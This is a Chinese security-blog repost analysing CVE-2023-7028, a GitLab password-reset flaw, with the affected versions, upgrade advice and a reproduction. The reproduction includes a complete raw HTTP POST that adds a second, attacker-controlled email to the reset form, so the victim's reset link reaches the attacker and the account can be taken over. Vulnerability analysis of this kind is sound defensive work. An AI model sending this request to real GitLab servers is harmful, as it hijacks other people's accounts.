GitLab任意用户接管漏洞分析复现(CVE-2023-7028)

admin 2024年1月25日14:34:25评论48 views字数 1573阅读5分14秒阅读模式

漏洞描述

2024年1月11日,Gitlab官方披露CVE-2023-7028 GitLab 任意用户密码重置漏洞,官方评级严重。攻击者可利用忘记密码功能,构造恶意请求获取密码重置链接从而重置密码。官方已发布安全更新,建议升级至最新版本,若无法升级,建议利用安全组功能设置Gitlab仅对可信地址开放。

影响范围

16.1 <= Gitlab < 16.1.6

16.2 <= Gitlab < 16.2.9

16.3 <= Gitlab < 16.3.7

16.4 <= Gitlab < 16.4.5

16.5 <= Gitlab < 16.5.6

16.6 <= Gitlab < 16.6.4

16.7 <= Gitlab < 16.7.2

这里需要注意的是,该漏洞于 2023 年 5 月 1 日在 16.1.0 中引入。所以低于Gitlab主线版本低于16.1.0环境不受该漏洞影响。

漏洞利用前置条件

1、知道任意用户的邮箱

2、管理员正确配置了邮件服务

代码分析

根据官方的commit记录来看,很容易就能发现问题——限制了邮件发送的数量。

GitLab任意用户接管漏洞分析复现(CVE-2023-7028)

漏洞复现

知道了漏洞的原理,接下来就开始漏洞复现。

首先访问/users/password/new进入到重置密码的页面,输入一个你知道的用户,然后使用Burp或者其他工具抓包。

GitLab任意用户接管漏洞分析复现(CVE-2023-7028)

POST /users/password HTTP/1.1
Host: 1.1.1.1
Content-Length: 169
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1.1.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Referer: http://1.1.1.1:8090/users/password/new
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: _gitlab_session=e8eb950940d6e5d7c3820e6c9e103d7b
DNT: 1
Sec-GPC: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Connection: close

authenticity_token=LnGtHYZiXkXxCGby0lK-Krqy79_lJlbjWsYjz7exHItcrWDAQQX4Yb1rV9J5y4V89Ik8U9UpTbro8owRoekdAA&user%5Bemail%5D%5B%5D=poc1%40163.com&user%5Bemail%5D%5B%5D=attack%40qq.com

第一个邮箱处填写获取到的邮箱,第二个邮箱写上你自己的邮箱,然后发包,过一会你的邮箱就会收到一封密码重置的邮件,然而这个邮件里面的重置连接是另一个用户的,效果如下:

GitLab任意用户接管漏洞分析复现(CVE-2023-7028)

可以看到把重置密码的邮件同时发给了两个邮箱,然而第二个邮箱是没有经过验证的攻击者的邮箱,攻击者收到邮件后直接点击重置密码,就可以接管对应的账户了。

后续利用

Gitlab版本判断

https://github.com/righel/gitlab-version-nse/

来源:https://xz.aliyun.com/ 感谢【Malaa

原文始发于微信公众号(船山信安):GitLab任意用户接管漏洞分析复现(CVE-2023-7028)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月25日14:34:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GitLab任意用户接管漏洞分析复现(CVE-2023-7028)http://cn-sec.com/archives/2404621.html

发表评论

匿名网友 填写信息